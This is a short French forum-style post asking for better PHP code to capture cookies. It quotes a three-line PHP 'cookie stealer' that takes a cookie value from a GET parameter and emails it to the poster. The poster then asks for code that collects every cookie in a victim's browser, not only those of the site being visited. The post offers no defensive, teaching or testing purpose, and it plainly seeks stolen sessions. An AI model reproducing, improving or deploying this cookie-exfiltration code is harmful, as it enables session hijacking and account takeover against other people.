Capture de cookies PHP

Bonjour,

j'ai longuement cherché un bon code PHP de capture de cookies, mais je n'ai trouvé que ceci:

<?php // line 1
$cookie = $HTTP_GET_VARS["cookie"]; // line 2
mail("me@mydomain.com", "Cookie stealer report", $cookie); // line 3
?>

Le probléme avec ça, c'est que le code enregistre seulement les cookies du site en cour de visite, j'aimerais un code capable d'enregistrer tous les cookies présents.